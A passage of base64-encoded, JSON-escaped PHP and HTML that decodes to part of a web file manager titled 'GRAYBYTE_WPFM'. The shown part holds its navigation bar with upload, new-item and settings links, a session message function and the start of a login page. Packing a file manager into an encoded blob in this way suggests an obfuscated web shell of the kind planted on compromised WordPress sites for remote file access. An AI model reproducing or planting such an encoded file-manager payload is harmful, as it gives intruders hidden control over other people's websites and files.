xhcHNlXCIgaWQ9XCJuYXZiYXJTdXBwb3J0ZWRDb250ZW50XCI+XG5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAkcGF0aCA9IGZtX2NsZWFuX3BhdGgoJHBhdGgpO1xuICAgICAgICAgICAgJHJvb3RfdXJsID0gXCI8YSBocmVmPSc/cD0nPjxpIGNsYXNzPSdmYSBmYS1ob21lJyBhcmlhLWhpZGRlbj0ndHJ1ZScgdGl0bGU9J1wiIC4gRk1fUk9PVF9QQVRIIC4gXCInPjxcL2k+PFwvYT5cIjtcbiAgICAgICAgICAgICRzZXAgPSAnPGkgY2xhc3M9XCJicmVhZC1jcnVtYlwiPiBcLyA8XC9pPic7XG4gICAgICAgICAgICBpZiAoJHBhdGggIT0gJycpIHtcbiAgICAgICAgICAgICAgICAkZXhwbG9kZWQgPSBleHBsb2RlKCdcLycsICRwYXRoKTtcbiAgICAgICAgICAgICAgICAkY291bnQgPSBjb3VudCgkZXhwbG9kZWQpO1xuICAgICAgICAgICAgICAgICRhcnJheSA9IGFycmF5KCk7XG4gICAgICAgICAgICAgICAgJHBhcmVudCA9ICcnO1xuICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICRjb3VudDsgJGkrKykge1xuICAgICAgICAgICAgICAgICAgICAkcGFyZW50ID0gdHJpbSgkcGFyZW50IC4gJ1wvJyAuICRleHBsb2RlZFskaV0sICdcLycpO1xuICAgICAgICAgICAgICAgICAgICAkcGFyZW50X2VuYyA9IHVybGVuY29kZSgkcGFyZW50KTtcbiAgICAgICAgICAgICAgICAgICAgJGFycmF5W10gPSBcIjxhIGhyZWY9Jz9wPXskcGFyZW50X2VuY30nPlwiIC4gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCRleHBsb2RlZFskaV0pKSAuIFwiPFwvYT5cIjtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgJHJvb3RfdXJsIC49ICRzZXAgLiBpbXBsb2RlKCRzZXAsICRhcnJheSk7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPVwiY29sLXhzLTYgY29sLXNtLTVcIj4nIC4gJHJvb3RfdXJsIC4gJGVkaXRGaWxlIC4gJzxcL2Rpdj4nO1xuICAgICAgICAgICAgPz5cblxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC14cy02IGNvbC1zbS03XCI+XG4gICAgICAgICAgICAgICAgPHVsIGNsYXNzPVwibmF2YmFyLW5hdiBqdXN0aWZ5LWNvbnRlbnQtZW5kXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cIm5hdi1pdGVtIG1yLTJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJpbnB1dC1ncm91cCBpbnB1dC1ncm91cC1zbSBtci0xXCIgc3R5bGU9XCJtYXJnaW4tdG9wOjRweDtcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ1NlYXJjaCcpID8+XCIgYXJpYS1sYWJlbD1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PlwiIGFyaWEtZGVzY3JpYmVkYnk9XCJzZWFyY2gtYWRkb24yXCIgaWQ9XCJzZWFyY2gtYWRkb25cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiaW5wdXQtZ3JvdXAtYXBwZW5kXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPVwiaW5wdXQtZ3JvdXAtdGV4dCBicmwtMCBicnItMFwiIGlkPVwic2VhcmNoLWFkZG9uMlwiPjxpIGNsYXNzPVwiZmEgZmEtc2VhcmNoXCI+PFwvaT48XC9zcGFuPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiaW5wdXQtZ3JvdXAtYXBwZW5kIGJ0bi1ncm91cFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz1cImlucHV0LWdyb3VwLXRleHQgZHJvcGRvd24tdG9nZ2xlIGJybC0wXCIgZGF0YS1icy10b2dnbGU9XCJkcm9wZG93blwiIGFyaWEtaGFzcG9wdXA9XCJ0cnVlXCIgYXJpYS1leHBhbmRlZD1cImZhbHNlXCI+PFwvc3Bhbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImRyb3Bkb3duLW1lbnUgZHJvcGRvd24tbWVudS1yaWdodFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJkcm9wZG93bi1pdGVtXCIgaHJlZj1cIjw/cGhwIGVjaG8gJHBhdGgyID0gJHBhdGggPyAkcGF0aCA6ICcuJzsgPz5cIiBpZD1cImpzLXNlYXJjaC1tb2RhbFwiIGRhdGEtYnMtdG9nZ2xlPVwibW9kYWxcIiBkYXRhLWJzLXRhcmdldD1cIiNzZWFyY2hNb2RhbFwiPjw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZCBTZWFyY2gnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cIm5hdi1pdGVtXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnVXBsb2FkJykgPz5cIiBjbGFzcz1cIm5hdi1saW5rXCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDt1cGxvYWRcIj48aSBjbGFzcz1cImZhIGZhLWNsb3VkLXVwbG9hZFwiIGFyaWEtaGlkZGVuPVwidHJ1ZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdVcGxvYWQnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9saT5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cIm5hdi1pdGVtXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnTmV3SXRlbScpID8+XCIgY2xhc3M9XCJuYXYtbGlua1wiIGhyZWY9XCIjY3JlYXRlTmV3SXRlbVwiIGRhdGEtYnMtdG9nZ2xlPVwibW9kYWxcIiBkYXRhLWJzLXRhcmdldD1cIiNjcmVhdGVOZXdJdGVtXCI+PGkgY2xhc3M9XCJmYSBmYS1wbHVzLXNxdWFyZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdOZXdJdGVtJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvbGk+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoRk1fVVNFX0FVVEgpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibmF2LWl0ZW0gYXZhdGFyIGRyb3Bkb3duXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJuYXYtbGluayBkcm9wZG93bi10b2dnbGVcIiBpZD1cIm5hdmJhckRyb3Bkb3duTWVudUxpbmstNVwiIGRhdGEtYnMtdG9nZ2xlPVwiZHJvcGRvd25cIiBhcmlhLWV4cGFuZGVkPVwiZmFsc2VcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9XCJmYSBmYS11c2VyLWNpcmNsZVwiPjxcL2k+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvYT5cblxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJkcm9wZG93bi1tZW51IGRyb3Bkb3duLW1lbnUtZW5kIHRleHQtc21hbGwgc2hhZG93XCIgYXJpYS1sYWJlbGxlZGJ5PVwibmF2YmFyRHJvcGRvd25NZW51TGluay01XCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/PlwiIGNsYXNzPVwiZHJvcGRvd24taXRlbSBuYXYtbGlua1wiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7c2V0dGluZ3M9MVwiPjxpIGNsYXNzPVwiZmEgZmEtY29nXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdIZWxwJykgPz5cIiBjbGFzcz1cImRyb3Bkb3duLWl0ZW0gbmF2LWxpbmtcIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2hlbHA9MlwiPjxpIGNsYXNzPVwiZmEgZmEtZXhjbGFtYXRpb24tY2lyY2xlXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0hlbHAnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0xvZ291dCcpID8+XCIgY2xhc3M9XCJkcm9wZG93bi1pdGVtIG5hdi1saW5rXCIgaHJlZj1cIj9sb2dvdXQ9MVwiPjxpIGNsYXNzPVwiZmEgZmEtc2lnbi1vdXRcIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnTG9nb3V0JykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibmF2LWl0ZW1cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/PlwiIGNsYXNzPVwiZHJvcGRvd24taXRlbSBuYXYtbGlua1wiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7c2V0dGluZ3M9MVwiPjxpIGNsYXNzPVwiZmEgZmEtY29nXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICA8XC9kaXY+XG4gICAgPFwvbmF2PlxuPD9waHBcbn1cblxuXC8qKlxuICogU2hvdyBhbGVydCBtZXNzYWdlIGZyb20gc2Vzc2lvblxuICpcL1xuZnVuY3Rpb24gZm1fc2hvd19tZXNzYWdlKClcbntcbiAgICBpZiAoaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydtZXNzYWdlJ10pKSB7XG4gICAgICAgICRjbGFzcyA9IGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnc3RhdHVzJ10pID8gJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSA6ICdvayc7XG4gICAgICAgIGVjaG8gJzxwIGNsYXNzPVwibWVzc2FnZSAnIC4gJGNsYXNzIC4gJ1wiPicgLiAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ21lc3NhZ2UnXSAuICc8XC9wPic7XG4gICAgICAgIHVuc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbWVzc2FnZSddKTtcbiAgICAgICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSk7XG4gICAgfVxufVxuXG5cLyoqXG4gKiBTaG93IHBhZ2UgaGVhZGVyIGluIExvZ2luIEZvcm1cbiAqXC9cbmZ1bmN0aW9uIGZtX3Nob3dfaGVhZGVyX2xvZ2luKClcbntcbiAgICBoZWFkZXIoXCJDb250ZW50LVR5cGU6IHRleHRcL2h0bWw7IGNoYXJzZXQ9dXRmLThcIik7XG4gICAgaGVhZGVyKFwiRXhwaXJlczogU2F0LCAyNiBKdWwgMTk5NyAwNTowMDowMCBHTVRcIik7XG4gICAgaGVhZGVyKFwiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTBcIik7XG4gICAgaGVhZGVyKFwiUHJhZ21hOiBuby1jYWNoZVwiKTtcblxuICAgIGdsb2JhbCAkZmF2aWNvbl9wYXRoO1xuPz5cbiAgICA8IURPQ1RZUEUgaHRtbD5cbiAgICA8aHRtbCBsYW5nPVwiZW5cIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gXCJkYXJrXCIpID8gJ2RhcmsnIDogJ2xpZ2h0JyA/PlwiPlxuXG4gICAgPGhlYWQ+XG4gICAgICAgIDxtZXRhIGNoYXJzZXQ9XCJ1dGYtOFwiPlxuICAgICAgICA8bWV0YSBuYW1lPVwidmlld3BvcnRcIiBjb250ZW50PVwid2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm9cIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cImRlc2NyaXB0aW9uXCIgY29udGVudD1cIldlYiBiYXNlZCBGaWxlIE1hbmFnZXIgaW4gUEhQLCBNYW5hZ2UgeW91ciBmaWxlcyBlZmZpY2llbnRseSBhbmQgZWFzaWx5IHdpdGggVGlueSBGaWxlIE1hbmFnZXJcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cImF1dGhvclwiIGNvbnRlbnQ9XCJDQ1AgUHJvZ3JhbW1lcnNcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cInJvYm90c1wiIGNvbnRlbnQ9XCJub2luZGV4LCBub2ZvbGxvd1wiPlxuICAgICAgICA8bWV0YSBuYW1lPVwiZ29vZ2xlYm90XCIgY29udGVudD1cIm5vaW5kZXhcIj5cbiAgICAgICAgPD9waHAgaWYgKCRmYXZpY29uX3BhdGgpIHtcbiAgICAgICAgICAgIGVjaG8gJzxsaW5rIHJlbD1cImljb25cIiBocmVmPVwiJyAuIGZtX2VuYygkZmF2aWNvbl9wYXRoKSAuICdcIiB0eXBlPVwiaW1hZ2VcL3BuZ1wiPic7XG4gICAgICAgIH0gPz5cbiAgICAgICAgPHRpdGxlPkdSQVlCWVRFX1dQRk08XC90aXRsZT5cbiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ3ByZS1qc2RlbGl2cicpOyA/PlxuICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnY3NzLWJvb3RzdHJhcCcpOyA/PlxuICAgICAgICA8c3R5bGU+XG4gICAgICAgICAgICBib2R5LmZtLWxvZ2luLXBhZ2Uge1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmN2Y5ZmI7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmN2Y5ZmI7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKFwiZGF0YTppbWFnZVwvc3ZnK3htbCwlM0NzdmcgeG1sbnM9J2h0dHA6XC9cL3d3dy53My5vcmdcLzIwMDBcL3N2Zycgdmlld0JveD0nMCAwIDMwNCAzMDQnIHdpZHRoPSczMDQnIGhlaWdodD0nMzA0JyUzRSUzQ3BhdGggZmlsbD0nJTIzZTJlOWYxJyBmaWxsLW9wYWNpdHk9JzAuNCcgZD0nTTQ0LjEgMjI0YTUgNSAwIDEgMSAwIDJIMHYtMmg0NC4xem0xNjAgNDhhNSA1IDAgMSAxIDAgMkg4MnYtMmgxMjIuMXptNTcuOC00NmE1IDUgMCAxIDEgMC0ySDMwNHYyaC00Mi4xem0wIDE2YTUgNSAwIDEgMSAwLTJIMzA0djJoLTQyLjF6bTYuMi0xMTRhNSA1IDAgMSAxIDAgMmgtODYuMmE1IDUgMCAxIDEgMC0yaDg2LjJ6bS0yNTYtNDhhNSA1IDAgMSAxIDAgMkgwdi0yaDEyLjF6bTE4NS44IDM0YTUgNSAwIDEgMSAwLTJoODYuMmE1IDUgMCAxIDEgMCAyaC04Ni4yek0yNTggMTIuMWE1IDUgMCAxIDEtMiAwVjBoMnYxMi4xem0tNjQgMjA4YTUgNSAwIDEgMS0yIDB2LTU0LjJhNSA1IDAgMSAxIDIgMHY1NC4yem00OC0xOTguMlY4MGg2MnYyaC02NFYyMS45YTUgNSAwIDEgMSAyIDB6bTE2IDE2VjY0aDQ2djJoLTQ4VjM3LjlhNSA1IDAgMSAxIDIgMHptLTEyOCA5NlYyMDhoMTZ2MTIuMWE1IDUgMCAxIDEtMiAwVjIxMGgtMTZ2LTc2LjFhNSA1IDAgMSAxIDIgMHptLTUuOS0yMS45YTUgNSAwIDEgMSAwIDJIMTE0djQ4SDg1LjlhNSA1IDAgMSAxIDAtMkgxMTJ2LTQ4aDEyLjF6bS02LjIgMTMwYTUgNSAwIDEgMSAwLTJIMTc2di03NC4xYTUgNSAwIDEgMSAyIDBWMjQyaC02MC4xem0tMTYtNjRhNSA1IDAgMSAxIDAtMkgxMTR2NDhoMTAuMWE1IDUgMCAxIDEgMCAySDExMnYtNDhoLTEwLjF6TTY2IDI4NC4xYTUgNSAwIDEgMS0yIDBWMjc0SDUwdjMwaC0ydi0zMmgxOHYxMi4xek0yMzYuMSAxNzZhNSA1IDAgMSAxIDAgMkgyMjZ2OTRoNDh2MzJoLTJ2LTMwaC00OHYtOThoMTIuMXptMjUuOC0zMGE1IDUgMCAxIDEgMC0ySDI3NHY0NC4xYTUgNSAwIDEgMS0yIDBWMTQ2aC0xMC4xem0tNjQgOTZhNSA1IDAgMSAxIDAtMkgyMDh2LTgwaDE2di0xNGgtNDIuMWE1IDUgMCAxIDEgMC0ySDIyNnYxOGgtMTZ2ODBoLTEyLjF6bTg2LjItMjEwYTUgNSAwIDEgMSAwIDJIMjcyVjBoMnYzMmgxMC4xek05OCAxMDEuOVYxNDZINTMuOWE1IDUgMCAxIDEgMC0ySDk2di00Mi4xYTUgNSAwIDEgMSAyIDB6TTUzLjkgMzRhNSA1IDAgMSAxIDAtMkg4MFYwaDJ2MzRINTMuOXptNjAuMSAzLjlWNjZIODJ2NjRINjkuOWE1IDUgMCAxIDEgMC0ySDgwVjY0aDMyVjM3LjlhNSA1IDAgMSAxIDIgMHpNMTAxLjkgODJhNSA1IDAgMSAxIDAtMkgxMjhWMzcuOWE1IDUgMCAxIDEgMiAwVjgyaC0yOC4xem0xNi02NGE1IDUgMCAxIDEgMC0ySDE0NnY0NC4xYTUgNSAwIDEgMS0yIDBWMThoLTI2LjF6bTEwMi4yIDI3MGE1IDUgMCAxIDEgMCAySDk4djE0aC0ydi0xNmgxMjQuMXpNMjQyIDE0OS45VjE2MGgxNnYzNGgtMTZ2NjJoNDh2NDhoLTJ2LTQ2aC00OHYtNjZoMTZ2LTMwaC0xNnYtMTIuMWE1IDUgMCAxIDEgMiAwek01My45IDE4YTUgNSAwIDEgMSAwLTJINjRWMkg0OFYwaDE4djE4SDUzLjl6bTExMiAzMmE1IDUgMCAxIDEgMC0ySDE5MlYwaDUwdjJoLTQ4djQ4aC0yOC4xem0tNDgtNDhhNSA1IDAgMCAxLTkuOC0yaDIuMDdhMyAzIDAgMSAwIDUuNjYgMEgxNzh2MzRoLTE4VjIxLjlhNSA1IDAgMSAxIDIgMFYzMmgxNFYyaC01OC4xem0wIDk2YTUgNSAwIDEgMSAwLTJIMTM3bDMyLTMyaDM5VjIxLjlhNSA1IDAgMSAxIDIgMFY2NmgtNDAuMTdsLTMyIDMySDExNy45em0yOC4xIDkwLjFhNSA1IDAgMSAxLTIgMHYtNzYuNTFMMTc1LjU5IDgwSDIyNFYyMS45YTUgNSAwIDEgMSAyIDBWODJoLTQ5LjU5TDE0NiAxMTIuNDF2NzUuNjl6bTE2IDMyYTUgNSAwIDEgMS0yIDB2LTk5LjUxTDE4NC41OSA5NkgzMDAuMWE1IDUgMCAwIDEgMy45LTMuOXYyLjA3YTMgMyAwIDAgMCAwIDUuNjZ2Mi4wN2E1IDUgMCAwIDEtMy45LTMuOUgxODUuNDFMMTYyIDEyMS40MXY5OC42OXptLTE0NC02NGE1IDUgMCAxIDEtMiAwdi0zLjUxbDQ4LTQ4VjQ4aDMyVjBoMnY1MEg2NnY1NS40MWwtNDggNDh2Mi42OXpNNTAgNTMuOXY0My41MWwtNDggNDhWMjA4aDI2LjFhNSA1IDAgMSAxIDAgMkgwdi02NS40MWw0OC00OFY1My45YTUgNSAwIDEgMSAyIDB6bS0xNiAxNlY4OS40MWwtMzQgMzR2LTIuODJsMzItMzJWNjkuOWE1IDUgMCAxIDEgMiAwek0xMi4xIDMyYTUgNSAwIDEgMSAwIDJIOS40MUwwIDQzLjQxVjQwLjZMOC41OSAzMmgzLjUxem0yNjUuOCAxOGE1IDUgMCAxIDEgMC0yaDE4LjY5bDcuNDEtNy40MXYyLjgyTDI5Ny40MSA1MEgyNzcuOXptLTE2IDE2MGE1IDUgMCAxIDEgMC0ySDI4OHYtNzEuNDFsMTYtMTZ2Mi44MmwtMTQgMTRWMjEwaC0yOC4xem0tMjA4IDMyYTUgNSAwIDEgMSAwLTJINjR2LTIyLjU5TDQwLjU5IDE5NEgyMS45YTUgNSAwIDEgMSAwLTJINDEuNDFMNjYgMjE2LjU5VjI0Mkg1My45em0xNTAuMiAxNGE1IDUgMCAxIDEgMCAySDk2di01Ni42TDU2LjYgMTYySDM3LjlhNSA1IDAgMSAxIDAtMmgxOS41TDk4IDIwMC42VjI1NmgxMDYuMXptLTE1MC4yIDJhNSA1IDAgMSAxIDAtMkg4MHYtNDYuNTlMNDguNTkgMTc4SDIxLjlhNSA1IDAgMSAxIDAtMkg0OS40MUw4MiAyMDguNTlWMjU4SDUzLjl6TTM0IDM5Ljh2MS42MUw5LjQxIDY2SDB2LTJoOC41OUwzMiA0MC41OVYwaDJ2MzkuOHpNMiAzMDAuMWE1IDUgMCAwIDEgMy45IDMuOUgzLjgzQTMgMyAwIDAgMCAwIDMwMi4xN1YyNTZoMTh2NDhoLTJ2LTQ2SDJ2NDIuMXpNMzQgMjQxdjYzaC0ydi02Mkgwdi0yaDM0djF6TTE3IDE4SDB2LTJoMTZWMGgydjE4aC0xem0yNzMtMmgxNHYyaC0xNlYwaDJ2MTZ6bS0zMiAyNzN2MTVoLTJ2LTE0aC0xNHYxNGgtMnYtMTZoMTh2MXpNMCA5Mi4xQTUuMDIgNS4wMiAwIDAgMSA2IDk3YTUgNSAwIDAgMS02IDQuOXYtMi4wN2EzIDMgMCAxIDAgMC01LjY2VjkyLjF6TTgwIDI3MmgydjMyaC0ydi0zMnptMzcuOSAzMmgtMi4wN2EzIDMgMCAwIDAtNS42NiAwaC0yLjA3YTUgNSAwIDAgMSA5LjggMHpNNS45IDBBNS4wMiA1LjAyIDAgMCAxIDAgNS45VjMuODNBMyAzIDAgMCAwIDMuODMgMEg1Ljl6bTI5NC4yIDBoMi4wN0EzIDMgMCAwIDAgMzA0IDMuODNWNS45YTUgNSAwIDAgMS0zLjktNS45em0zLjkgMzAwLjF2Mi4wN2EzIDMgMCAwIDAtMS44MyAxLjgzaC0yLjA3YTUgNSAwIDAgMSAzLjktMy45ek05NyAxMDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tNDggMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDQ4YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2IDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMzItMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgOTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNDRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS05NiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptOTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNi02NGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTMyIDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2IDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNNDkgMzZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMzIgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMzMgNjhhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi00OGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMjQwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2LTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptODAtMTc2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwID